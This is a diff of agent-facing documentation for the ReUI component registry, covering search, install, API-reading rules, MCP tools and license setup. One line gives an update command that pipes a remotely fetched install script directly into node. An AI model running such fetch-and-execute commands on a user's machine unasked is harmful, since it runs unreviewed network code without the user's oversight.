- `component`: the ReUI component the request implies (`"data-grid"`, `"kanban"`, ...).
|
- `component`: the ReUI component the request implies (`"data-grid"`, `"kanban"`, ...).
|
||||||
- `category`, `features` (e.g. `["sortable","pagination"]`), `free`.
|
- `category`, `features` (e.g. `["sortable","pagination"]`), `free`.
|
||||||
|
|
||||||
@@ -16,7 +16,9 @@ Example: "build a users management page with filters" -> `search({ query: "users
|
|||||||
|
|
||||||
Each result has `install`, `previewUrl`, `docsUrl`, `componentsUsed`, `score`, `termCoverage`, and `whyMatch`. `score` is relative to the top hit (the top is ~100 by construction), not an absolute quality - compare results to each other, and show the user the top options if several score closely; do not silently guess. A low `termCoverage` means a weak match even with a high score - rephrase or widen.
|
Each result has `install`, `previewUrl`, `docsUrl`, `componentsUsed`, `score`, `termCoverage`, and `whyMatch`. `score` is relative to the top hit (the top is ~100 by construction), not an absolute quality - compare results to each other, and show the user the top options if several score closely; do not silently guess. A low `termCoverage` means a weak match even with a high score - rephrase or widen.
|
||||||
|
|
||||||
**Always show the preview link.** Whenever you list or recommend items - from `search`, `search_icons`, `list_components`, `compose_page`, or a getter - include each item's `previewUrl` (a live preview page) so the user can SEE it before you install. Blocks and examples link to an individual live preview; icons and components to their live category/component page. This applies to every listing, not only a single pick.
|
Results are scoped to the account's plan, so you are never shown an item the user could not install: blocks need Pro, Motion Icons need Ultimate. A `type` hint the plan cannot use (or a query whose only matches are premium) comes back as a normal HTTP 200 answer with `locked: true` and `requiredPlan` rather than results - that is a paywall, not a missing item, so switch to free components and `c-*` examples and mention https://reui.io/pricing?ref=skill.
|
||||||
|
|
||||||
|
**Always show the preview link.** Whenever you list or recommend items - from `search`, `search_icons`, `list_components`, `compose_page`, or a getter - include each item's `previewUrl` (a live preview page) so the user can SEE it before you install. Blocks and examples link to an individual live preview; icons and components to their live category/component page. This applies to every listing, not only a single pick. Where a result carries `thumbnail` (blocks and `c-*` examples), show the image itself as markdown linked to `previewUrl`, so the user sees the block before you install it.
|
||||||
|
|
||||||
## 2. Install (shadcn CLI)
|
## 2. Install (shadcn CLI)
|
||||||
|
|
||||||
@@ -32,7 +34,7 @@ The CLI reads `components.json`, installs the correct base+style variant, resolv
|
|||||||
|
|
||||||
Before writing code against any component an item uses:
|
Before writing code against any component an item uses:
|
||||||
|
|
||||||
1. The item's `componentDigests` already give a 1-line contract per component - often enough to wire it. For the full API, call **`get_component(names)`** with ALL of `componentsUsed` in ONE call (it accepts an array) and read each inline `api` - no web fetch. **Share the component's `docsUrl`** (its API documentation page) with the user whenever you work with that component's API, so they have the full reference; the `/llms.txt` index is a further fallback.
|
1. The item's `componentDigests` already give a 1-line contract per component - often enough to wire it. For the deeper API, call **`get_component(names)`** with ALL of `componentsUsed` in ONE call (it accepts an array) and read each inline `api` - no web fetch. A very large API is trimmed on heading boundaries to fit your context and lists what it dropped in `sectionsOmitted`; when the part you need is in that list, re-read it as the response's `next` hint says rather than guessing. `validate_usage` always checks the FULL API, so it still catches a prop you invented from a trimmed capsule. **Share the component's `docsUrl`** (its API documentation page) with the user whenever you work with that component's API, so they have the full reference; the `/llms.txt` index is a further fallback.
|
||||||
2. Call **`get_examples(name)`** for the free `c-*` examples of that component; install one and **read the added files** to copy the exact composition. This is the fastest correct path - the example shows real wiring you adapt, not invent.
|
2. Call **`get_examples(name)`** for the free `c-*` examples of that component; install one and **read the added files** to copy the exact composition. This is the fastest correct path - the example shows real wiring you adapt, not invent.
|
||||||
3. About to write a prop you did not see in an `api` or installed file? Run **`validate_usage`** BEFORE writing the code - per-prop documented / notDocumented verdicts plus did-you-mean suggestions. notDocumented means read the API, not push on.
|
3. About to write a prop you did not see in an `api` or installed file? Run **`validate_usage`** BEFORE writing the code - per-prop documented / notDocumented verdicts plus did-you-mean suggestions. notDocumented means read the API, not push on.
|
||||||
|
|
||||||
|
|||||||
@@ -16,15 +16,15 @@ If you already know the exact item name, skip `search`. Everything else is situa
|
|||||||
|
|
||||||
## The 5 task-specific tools (when to reach for each)
|
## The 5 task-specific tools (when to reach for each)
|
||||||
|
|
||||||
- **`compose_page`** - BEFORE building any full page (dashboard, settings, billing, landing). Pass the intent (and optionally the sections you want); it returns ordered sections, each with the best premium block for the intent (top pick + alternates). Sections with no real inventory are listed honestly in `unavailableSections` - compose those from components instead of forcing a bad block.
|
- **`compose_page`** - BEFORE building any full page (dashboard, settings, billing, landing). Pass the intent (and optionally the sections you want); it returns ordered sections, each with the best premium block for the intent (top pick + alternates). On a free account (or in free-only mode) it answers with `mode: "free"` and composes the same sections from free `c-*` examples instead, so the plan is always buildable. Sections with no real inventory are listed honestly in `unavailableSections` - compose those from components instead of forcing a bad block.
|
||||||
- **`search_icons`** - whenever you need icons, especially several. Batch up to 24 concepts in one call; each concept returns its best icons with install commands. Pass `animated: true` to get only icons that have a hover-animated Motion variant.
|
- **`search_icons`** - whenever you need icons, especially several. Batch up to 24 concepts in one call; each concept returns its best icons with install commands. Pass `animated: true` to get only icons that have a hover-animated Motion variant. Motion Icons are Ultimate for **discovery as well as install**: without an Ultimate credential this returns `locked: true` and zero concepts, so check the plan before promising the user icons.
|
||||||
- **`validate_usage`** - BEFORE writing code with component names or props you have not read in an inline `api` or an installed example. It checks planned names + props against the indexed API docs and registry item names; returns did-you-mean suggestions and per-prop documented / notDocumented verdicts. Deterministic, no inference - a notDocumented prop means stop and read the API, not push on.
|
- **`validate_usage`** - BEFORE writing code with component names or props you have not read in an inline `api` or an installed example. It checks planned names + props against the indexed API docs and registry item names; returns did-you-mean suggestions and per-prop documented / notDocumented verdicts. Deterministic, no inference - a notDocumented prop means stop and read the API, not push on.
|
||||||
- **`whats_new`** - when your registry knowledge might be stale (a name 404s, the user mentions an item you don't know). Returns items added/removed per build, newest first.
|
- **`get_thumbnail`** - when the choice is VISUAL and the ranking has not already made it: 2 or more candidates within about 15 score points. When the top hit leads by a wide margin, or `missedTerms` already rules the others out, skip it; an image costs roughly 10 times a result row. It returns the hosted preview image as image content so you can look yourself; pass up to 4 names in one call to compare `compose_page` alternates side by side before installing any of them. To let the USER see something, share the item's `thumbnail` and `previewUrl` instead - this tool is for your own eyes, and a client that cannot render images gets the URLs in the text block.
|
||||||
- **`report_issue`** - when an installed item is actually broken (bad source, wrong dependency, broken preview). Goes straight to the ReUI team; rate-limited 5/hour. Not for usage questions.
|
- **`get_agent_skill`** - when the agent has no local ReUI skill (a cloud or tools-only client), or to check whether the installed one is stale: it returns the current workflow inline plus the installer command, and its `version` can be compared with the version stamped at the top of your local `SKILL.md`.
|
||||||
|
|
||||||
## All 19 tools
|
## All 19 tools
|
||||||
|
|
||||||
`search`, `get_block`, `get_example`, `get_icon`, `list_block_groups`, `list_block_categories`, `list_example_categories`, `list_icon_categories`, `list_components`, `get_component`, `get_examples`, `search_icons`, `compose_page`, `validate_usage`, `whats_new`, `report_issue`, `get_install_command`, `get_project_context`, `get_audit_checklist`. The MCP serves the full parameter schemas; do not guess parameters beyond them.
|
`search`, `get_block`, `get_example`, `get_icon`, `get_thumbnail`, `list_block_groups`, `list_block_categories`, `list_example_categories`, `list_icon_categories`, `list_components`, `get_component`, `get_examples`, `search_icons`, `compose_page`, `validate_usage`, `get_install_command`, `get_project_context`, `get_agent_skill`, `get_audit_checklist`. The MCP serves the full parameter schemas; do not guess parameters beyond them.
|
||||||
|
|
||||||
## Token + speed rules
|
## Token + speed rules
|
||||||
|
|
||||||
@@ -41,18 +41,24 @@ If you already know the exact item name, skip `search`. Everything else is situa
|
|||||||
- `termCoverage` (0-1) is the share of the query the item matched - low means a weak match even if the score looks high; rephrase or widen the search.
|
- `termCoverage` (0-1) is the share of the query the item matched - low means a weak match even if the score looks high; rephrase or widen the search.
|
||||||
- Each result carries `whyMatch`, `install`, docs/preview URLs, and a `free` flag; premium items carry `requiredPlan` (`"pro"` for blocks, `"ultimate"` for icons).
|
- Each result carries `whyMatch`, `install`, docs/preview URLs, and a `free` flag; premium items carry `requiredPlan` (`"pro"` for blocks, `"ultimate"` for icons).
|
||||||
- `componentDigests` is a top-level map: a compact API contract per referenced component - often enough to wire an item without a `get_component` call.
|
- `componentDigests` is a top-level map: a compact API contract per referenced component - often enough to wire an item without a `get_component` call.
|
||||||
|
- An inline `api` is not always the whole API: a very large one is trimmed on heading boundaries to fit your context, and the response names every dropped heading in `sectionsOmitted` plus a `next` hint for re-reading one. Never treat a trimmed capsule as complete; `validate_usage` still checks the FULL API.
|
||||||
- Icon results and `get_icon` include `animated: true` and `installAnimated` when a hover-animated Motion variant exists (animated: `@reui/icons/animated/<style>/<name>`; static: `@reui/icons/default/<style>/<name>`).
|
- Icon results and `get_icon` include `animated: true` and `installAnimated` when a hover-animated Motion variant exists (animated: `@reui/icons/animated/<style>/<name>`; static: `@reui/icons/default/<style>/<name>`).
|
||||||
|
- Blocks and `c-*` examples carry `thumbnail`, an absolute URL to a hosted preview image (3:2; blocks 1080x720, examples 900x600, light theme). Show the top 2 or 3 as markdown images linked to `previewUrl` so the user picks by eye; use `get_thumbnail` when YOU need to see them. Components and icons have no thumbnail.
|
||||||
|
- Each result carries `missedTerms`, the words from YOUR query it does not mention (omitted when it matches them all). A high score with 3 missed words is a near miss wearing a good score: read this before `get_thumbnail`, it is far cheaper.
|
||||||
|
- `weakMatch: true` means the top result misses more of the query's words than it matches; `unmatchedTerms` lists the words none of the top results mention and `weakMatchNote` says what to do. Stop and re-search with the registry's own words, or compose from components, instead of installing the top hit.
|
||||||
|
- On a free account `premiumPicks` (a sibling of `results`, never inside it) lists up to 3 premium blocks that fit the query more closely than the free answer, as previews with no install command, plus `unlock` with the plan and a pricing link. Mention the upgrade at most once per conversation, then keep building with what the plan covers. `weakMatch` and `premiumPicks` can appear together: the free answer is weak AND a premium block fits; `weakMatchNote` says so.
|
||||||
|
- Results are scoped to the caller's plan, so a free account never sees a block or icon it could not install. When a search matches only hidden premium items, the answer says so (`locked`, `requiredPlan`, `premiumMatches`) instead of pretending the registry is empty.
|
||||||
|
|
||||||
## Error playbook
|
## Error playbook
|
||||||
|
|
||||||
- **401** - the MCP requires a signed-in ReUI account. The client prompts "Sign in with ReUI" (OAuth) on first use; a free account is created if needed. For headless/CI, pass a personal token (`reui_pat_...`, created at https://reui.io/account/mcp) as `Authorization: Bearer`.
|
- **401** - the MCP requires a signed-in ReUI account, on every request (there is no anonymous access). The client prompts "Sign in with ReUI" (OAuth) on first use; a free account is created if needed. For headless/CI, pass a personal token (`reui_pat_...`, created at https://reui.io/account/mcp?ref=skill) as `Authorization: Bearer`.
|
||||||
- **403 / locked result** - a valid account but the plan does not cover the item: premium blocks need Pro, Motion Icons need Ultimate. Point to https://reui.io/pricing (upgrade). Free accounts still get all components + examples.
|
- **locked result** - a valid account whose plan does not cover the item. This is NOT an error and NOT a 403: it comes back as a normal HTTP 200 result carrying `locked: true` and `requiredPlan` (`"pro"` for premium blocks, `"ultimate"` for Motion Icons). Keep working with the free components and `c-*` examples, and point the user at https://reui.io/pricing?ref=skill if they want the locked item.
|
||||||
- **429** - rate limited (120 requests/min per IP); back off, honor `Retry-After`.
|
- **daily allowance reached** - a free account has a per-account, per-UTC-day allowance on tool calls (ReUI sets the number and can change it, so read it from the message and never assume one). It comes back as a normal tool RESULT with `isError: true` at HTTP 200: not an HTTP error status, no back-off header to honor, and no per-minute limit to wait out. Retrying the same call just spends the next unit, so surface the message (it carries the reset and the upgrade link) to the user instead of looping. The count resets at UTC midnight, and using a Pro or Ultimate license as the MCP credential removes the limit.
|
||||||
- **not found** (`found: false`) - use the returned `suggestions`, or `search`; check `whats_new` if you suspect a stale name. Never run a fabricated install command.
|
- **not found** (`found: false`) - use the returned `suggestions`, or `search`. Never run a fabricated install command.
|
||||||
|
|
||||||
## Fallbacks
|
## Fallbacks
|
||||||
|
|
||||||
- No ReUI MCP: `npx shadcn@latest search @reui -q "..."` then `add` (generic, no scoring / inline API).
|
- No ReUI MCP: `npx shadcn@latest search @reui -q "..."` then `add` (generic, no scoring / inline API).
|
||||||
- The shadcn project's own MCP also works over the `@reui` registry: https://ui.shadcn.com/docs/mcp.
|
- The shadcn project's own MCP also works over the `@reui` registry: https://ui.shadcn.com/docs/mcp.
|
||||||
|
|
||||||
Per-agent MCP setup: https://reui.io/docs/mcp
|
Per-agent MCP setup: https://reui.io/docs/mcp?ref=skill
|
||||||
|
|||||||
@@ -31,7 +31,7 @@ alwaysApply: true
|
|||||||
|
|
||||||
**Обязательно** цитировать `previewUrl` + `docsUrl` для каждой UI-зоны.
|
**Обязательно** цитировать `previewUrl` + `docsUrl` для каждой UI-зоны.
|
||||||
|
|
||||||
**Registry (актуально):** 20 free components — `alert`, `autocomplete`, `badge`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree` ([docs](https://reui.io/docs), [MCP](https://reui.io/docs/mcp)). Skill: `.claude/skills/reui` (v `668fb463eb`); обновление: `curl.exe -fsSL https://mcp.reui.io/install | node -` из корня проекта.
|
**Registry (актуально):** 22 free components — `alert`, `autocomplete`, `badge`, `cascader`, `code-block`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree` ([docs](https://reui.io/docs), [MCP](https://reui.io/docs/mcp)). Skill: `.agents/skills/reui` (v `d9f4a302f4`); обновление: `curl.exe -fsSL https://mcp.reui.io/install | node -` из корня проекта.
|
||||||
|
|
||||||
**Важно:** skill описывает текущий registry (в т.ч. data-grid на TanStack Table v9). Установленный в проекте `@reui/data-grid` может оставаться на v8 до явного CLI upgrade — не ломать kit без миграции.
|
**Важно:** skill описывает текущий registry (в т.ч. data-grid на TanStack Table v9). Установленный в проекте `@reui/data-grid` может оставаться на v8 до явного CLI upgrade — не ломать kit без миграции.
|
||||||
|
|
||||||
|
|||||||
+4
-10
@@ -4,22 +4,16 @@ globs: ["**/*.tsx","**/*.ts"]
|
|||||||
alwaysApply: false
|
alwaysApply: false
|
||||||
---
|
---
|
||||||
|
|
||||||
---
|
|
||||||
name: reui
|
|
||||||
description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 17 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs.
|
|
||||||
user-invocable: false
|
|
||||||
allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *)
|
|
||||||
---
|
|
||||||
|
|
||||||
> **ReUI skill version `42d70dcc3d`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
|
> **ReUI skill version `d9f4a302f4`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
|
||||||
|
|
||||||
# ReUI for Agents
|
# ReUI for Agents
|
||||||
|
|
||||||
ReUI is a shadcn-compatible registry. It ships four things you **reuse** - never redesign:
|
ReUI is a shadcn-compatible registry. It ships four things you **reuse** - never redesign:
|
||||||
|
|
||||||
- **components** - the 17 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free)
|
- **components** - the 22 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free)
|
||||||
- **examples** - free `c-*` single-pattern use-cases of a component (`c-kanban-1`); install one and read it to see exact composition
|
- **examples** - free `c-*` single-pattern use-cases of a component (`c-kanban-1`); install one and read it to see exact composition
|
||||||
- **blocks** - premium full-page sections that compose components (`data-grid-2`, `pricing-page-1`); Pro or Ultimate license at install
|
- **blocks** - premium full-page sections that compose components (`data-grid-base-2`, `settings-2`); Pro or Ultimate license at install
|
||||||
- **icons** - Motion Icons in 4 styles, static + hover-animated variants; Ultimate license at install
|
- **icons** - Motion Icons in 4 styles, static + hover-animated variants; Ultimate license at install
|
||||||
|
|
||||||
The skill is free and this MCP is free to use; it just needs a ReUI account. On first use your agent opens a browser "Sign in with ReUI" prompt (a free account is created if you don't have one). Free covers components and examples with a daily request allowance; a Pro or Ultimate license unlocks premium blocks and Motion Icons and removes the limit (see [rules/registry.md](./rules/registry.md)). The same account and skill work in every agent and service the MCP connects to - this skill is agent-agnostic.
|
The skill is free and this MCP is free to use; it just needs a ReUI account. On first use your agent opens a browser "Sign in with ReUI" prompt (a free account is created if you don't have one). Free covers components and examples with a daily request allowance; a Pro or Ultimate license unlocks premium blocks and Motion Icons and removes the limit (see [rules/registry.md](./rules/registry.md)). The same account and skill work in every agent and service the MCP connects to - this skill is agent-agnostic.
|
||||||
@@ -64,7 +58,7 @@ Invocation differs slightly per agent (`/mcp__reui__build` in Claude Code/Cursor
|
|||||||
|
|
||||||
- [rules/registry.md](./rules/registry.md) - the four types, the @reui registry, base/radix, free vs premium + license
|
- [rules/registry.md](./rules/registry.md) - the four types, the @reui registry, base/radix, free vs premium + license
|
||||||
- [rules/workflow.md](./rules/workflow.md) - the find -> install -> read-API -> adapt loop (most important)
|
- [rules/workflow.md](./rules/workflow.md) - the find -> install -> read-API -> adapt loop (most important)
|
||||||
- [rules/components.md](./rules/components.md) - the 17 components, the data-grid contract, base vs radix
|
- [rules/components.md](./rules/components.md) - the 22 components, the data-grid contract, base vs radix
|
||||||
- [rules/adapting.md](./rules/adapting.md) - reuse-first: preserve the design (no over-customizing), reuse examples + a block's own elements, real data, don't invent APIs
|
- [rules/adapting.md](./rules/adapting.md) - reuse-first: preserve the design (no over-customizing), reuse examples + a block's own elements, real data, don't invent APIs
|
||||||
- [rules/craft.md](./rules/craft.md) - make it exceptional: point of view, hierarchy, density, states, responsive, motion, the bar
|
- [rules/craft.md](./rules/craft.md) - make it exceptional: point of view, hierarchy, density, states, responsive, motion, the bar
|
||||||
- [rules/quality.md](./rules/quality.md) - security, accessibility, and scroll gates (the done gate)
|
- [rules/quality.md](./rules/quality.md) - security, accessibility, and scroll gates (the done gate)
|
||||||
|
|||||||
@@ -1,19 +1,20 @@
|
|||||||
---
|
---
|
||||||
name: reui
|
name: reui
|
||||||
description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 20 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs.
|
description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 22 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs.
|
||||||
user-invocable: false
|
|
||||||
allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *)
|
allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *)
|
||||||
|
metadata:
|
||||||
|
user-invocable: "false"
|
||||||
---
|
---
|
||||||
|
|
||||||
> **ReUI skill version `668fb463eb`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
|
> **ReUI skill version `d9f4a302f4`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
|
||||||
|
|
||||||
# ReUI for Agents
|
# ReUI for Agents
|
||||||
|
|
||||||
ReUI is a shadcn-compatible registry. It ships four things you **reuse** - never redesign:
|
ReUI is a shadcn-compatible registry. It ships four things you **reuse** - never redesign:
|
||||||
|
|
||||||
- **components** - the 20 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free)
|
- **components** - the 22 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free)
|
||||||
- **examples** - free `c-*` single-pattern use-cases of a component (`c-kanban-1`); install one and read it to see exact composition
|
- **examples** - free `c-*` single-pattern use-cases of a component (`c-kanban-1`); install one and read it to see exact composition
|
||||||
- **blocks** - premium full-page sections that compose components (`data-grid-2`, `pricing-page-1`); Pro or Ultimate license at install
|
- **blocks** - premium full-page sections that compose components (`data-grid-base-2`, `settings-2`); Pro or Ultimate license at install
|
||||||
- **icons** - Motion Icons in 4 styles, static + hover-animated variants; Ultimate license at install
|
- **icons** - Motion Icons in 4 styles, static + hover-animated variants; Ultimate license at install
|
||||||
|
|
||||||
The skill is free and this MCP is free to use; it just needs a ReUI account. On first use your agent opens a browser "Sign in with ReUI" prompt (a free account is created if you don't have one). Free covers components and examples with a daily request allowance; a Pro or Ultimate license unlocks premium blocks and Motion Icons and removes the limit (see [rules/registry.md](./rules/registry.md)). The same account and skill work in every agent and service the MCP connects to - this skill is agent-agnostic.
|
The skill is free and this MCP is free to use; it just needs a ReUI account. On first use your agent opens a browser "Sign in with ReUI" prompt (a free account is created if you don't have one). Free covers components and examples with a daily request allowance; a Pro or Ultimate license unlocks premium blocks and Motion Icons and removes the limit (see [rules/registry.md](./rules/registry.md)). The same account and skill work in every agent and service the MCP connects to - this skill is agent-agnostic.
|
||||||
@@ -58,7 +59,7 @@ Invocation differs slightly per agent (`/mcp__reui__build` in Claude Code/Cursor
|
|||||||
|
|
||||||
- [rules/registry.md](./rules/registry.md) - the four types, the @reui registry, base/radix, free vs premium + license
|
- [rules/registry.md](./rules/registry.md) - the four types, the @reui registry, base/radix, free vs premium + license
|
||||||
- [rules/workflow.md](./rules/workflow.md) - the find -> install -> read-API -> adapt loop (most important)
|
- [rules/workflow.md](./rules/workflow.md) - the find -> install -> read-API -> adapt loop (most important)
|
||||||
- [rules/components.md](./rules/components.md) - the 20 components, the data-grid contract, base vs radix
|
- [rules/components.md](./rules/components.md) - the 22 components, the data-grid contract, base vs radix
|
||||||
- [rules/adapting.md](./rules/adapting.md) - reuse-first: preserve the design (no over-customizing), reuse examples + a block's own elements, real data, don't invent APIs
|
- [rules/adapting.md](./rules/adapting.md) - reuse-first: preserve the design (no over-customizing), reuse examples + a block's own elements, real data, don't invent APIs
|
||||||
- [rules/craft.md](./rules/craft.md) - make it exceptional: point of view, hierarchy, density, states, responsive, motion, the bar
|
- [rules/craft.md](./rules/craft.md) - make it exceptional: point of view, hierarchy, density, states, responsive, motion, the bar
|
||||||
- [rules/quality.md](./rules/quality.md) - security, accessibility, and scroll gates (the done gate)
|
- [rules/quality.md](./rules/quality.md) - security, accessibility, and scroll gates (the done gate)
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
## Registry setup (one-time, per project)
|
## Registry setup (one-time, per project)
|
||||||
|
|
||||||
Free items (the 20 components and all `c-*` examples) need only the plain string registry in `components.json`:
|
Free items (the 22 components and all `c-*` examples) need only the plain string registry in `components.json`:
|
||||||
|
|
||||||
```json
|
```json
|
||||||
{ "registries": { "@reui": "https://reui.io/r/{style}/{name}.json" } }
|
{ "registries": { "@reui": "https://reui.io/r/{style}/{name}.json" } }
|
||||||
@@ -29,9 +29,16 @@ REUI_LICENSE_KEY=your-license-key
|
|||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
The shadcn CLI expands `${REUI_LICENSE_KEY}` from `.env.local` inside `components.json`, but an MCP client config never expands variables, so a ReUI MCP server config must carry the raw token instead (for example `reui_pat_your_token_here`).
|
The shadcn CLI expands `${REUI_LICENSE_KEY}` from `.env.local` inside `components.json`. MCP client configs expand environment variables too, but each client has its OWN syntax, so wire the ReUI MCP server with the form that client understands:
|
||||||
|
|
||||||
The MCP `get_project_context` tool returns the right config. Full guide: https://reui.io/docs/registry
|
- Claude Code (`.mcp.json`, `~/.claude.json`): `"Authorization": "Bearer ${REUI_LICENSE_KEY}"`
|
||||||
|
- Cursor (`.cursor/mcp.json`) and VS Code: `"Authorization": "Bearer ${env:REUI_LICENSE_KEY}"`
|
||||||
|
- OpenCode (`opencode.json`): `"Authorization": "Bearer {env:REUI_LICENSE_KEY}"`
|
||||||
|
- Codex (`~/.codex/config.toml`): `bearer_token_env_var = "REUI_LICENSE_KEY"` - Codex reads the variable itself, so there is no header to write
|
||||||
|
|
||||||
|
Only a client with no interpolation at all needs the raw `reui_pat_...` token, and then only in a file that is never committed. Copying the `components.json` form into a client that does not expand it is the common failure: the literal `${REUI_LICENSE_KEY}` placeholder is sent to the server as the credential and every call comes back 401.
|
||||||
|
|
||||||
|
The MCP `get_project_context` tool returns the right config. Full guide: https://reui.io/docs/registry?ref=skill
|
||||||
|
|
||||||
## Installing
|
## Installing
|
||||||
|
|
||||||
@@ -54,7 +61,7 @@ bunx --bun shadcn@latest add @reui/<name> --yes # bun
|
|||||||
|
|
||||||
## Free vs premium boundary
|
## Free vs premium boundary
|
||||||
|
|
||||||
- Public, no key: `c-*` examples and the 20 components (`@reui/data-grid`, `@reui/badge`, ...) that those examples depend on.
|
- Public, no key: `c-*` examples and the 22 components (`@reui/data-grid`, `@reui/badge`, ...) that those examples depend on.
|
||||||
- Key required at install: blocks (`@reui/<category>-N`) need a Pro or Ultimate license; Motion Icons (`@reui/icons/...`) and templates need Ultimate.
|
- Key required at install: blocks (`@reui/<category>-N`) need a Pro or Ultimate license; Motion Icons (`@reui/icons/...`) and templates need Ultimate.
|
||||||
|
|
||||||
If an install 401/403s, the license key is missing, invalid, or the plan does not cover that resource (blocks: Pro or higher; icons and templates: Ultimate). Point the user to https://reui.io/account (their key) or https://reui.io/pricing (upgrade).
|
If an install 401/403s, the license key is missing, invalid, or the plan does not cover that resource (blocks: Pro or higher; icons and templates: Ultimate). Point the user to https://reui.io/account?ref=skill (their key) or https://reui.io/pricing?ref=skill (upgrade).
|
||||||
|
|||||||
@@ -1,8 +1,8 @@
|
|||||||
# ReUI components
|
# ReUI components
|
||||||
|
|
||||||
The 20 ReUI building blocks: `alert`, `autocomplete`, `badge`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
|
The 22 ReUI building blocks: `alert`, `autocomplete`, `badge`, `cascader`, `code-block`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
|
||||||
|
|
||||||
**Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the full reference. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt.
|
**Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the deeper reference. Do not assume you received all of it: a very large API (`cascader`, `filters`, `data-grid`) is trimmed on heading boundaries to fit your context, and every dropped heading is named in `sectionsOmitted`, so a trimmed capsule is a partial read - follow the response's own `next` hint to pull back the part you need instead of guessing at it. `validate_usage` always checks the FULL API, trimmed capsule or not. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt.
|
||||||
|
|
||||||
## data-grid (the flagship - read its API every time)
|
## data-grid (the flagship - read its API every time)
|
||||||
|
|
||||||
@@ -106,22 +106,60 @@ Common mistakes:
|
|||||||
|
|
||||||
## filters
|
## filters
|
||||||
|
|
||||||
**Required:** `filters` (`Filter[]`), `fields` (`FilterFieldConfig[]`), `onChange`
|
**Required:** `fields` (`FilterField[]`). The value is ONE `FilterQuery` tree - `query` + `onQueryChange`, or uncontrolled `defaultQuery`.
|
||||||
**Shape:**
|
**Shape:**
|
||||||
|
|
||||||
```tsx
|
```tsx
|
||||||
const [filters, setFilters] = useState<Filter[]>([
|
const fields: FilterField[] = [
|
||||||
createFilter("priority", "is_any_of", ["low"]),
|
{ id: "title", label: "Title", type: "text" },
|
||||||
])
|
{
|
||||||
const fields: FilterFieldConfig[] = [
|
id: "status",
|
||||||
{ key: "priority", label: "Priority", type: "multiselect",
|
label: "Status",
|
||||||
options: [{ value: "low", label: "Low" }, { value: "high", label: "High" }] },
|
type: "select",
|
||||||
|
options: [
|
||||||
|
{ value: "active", label: "Active" },
|
||||||
|
{ value: "archived", label: "Archived" },
|
||||||
|
],
|
||||||
|
},
|
||||||
]
|
]
|
||||||
|
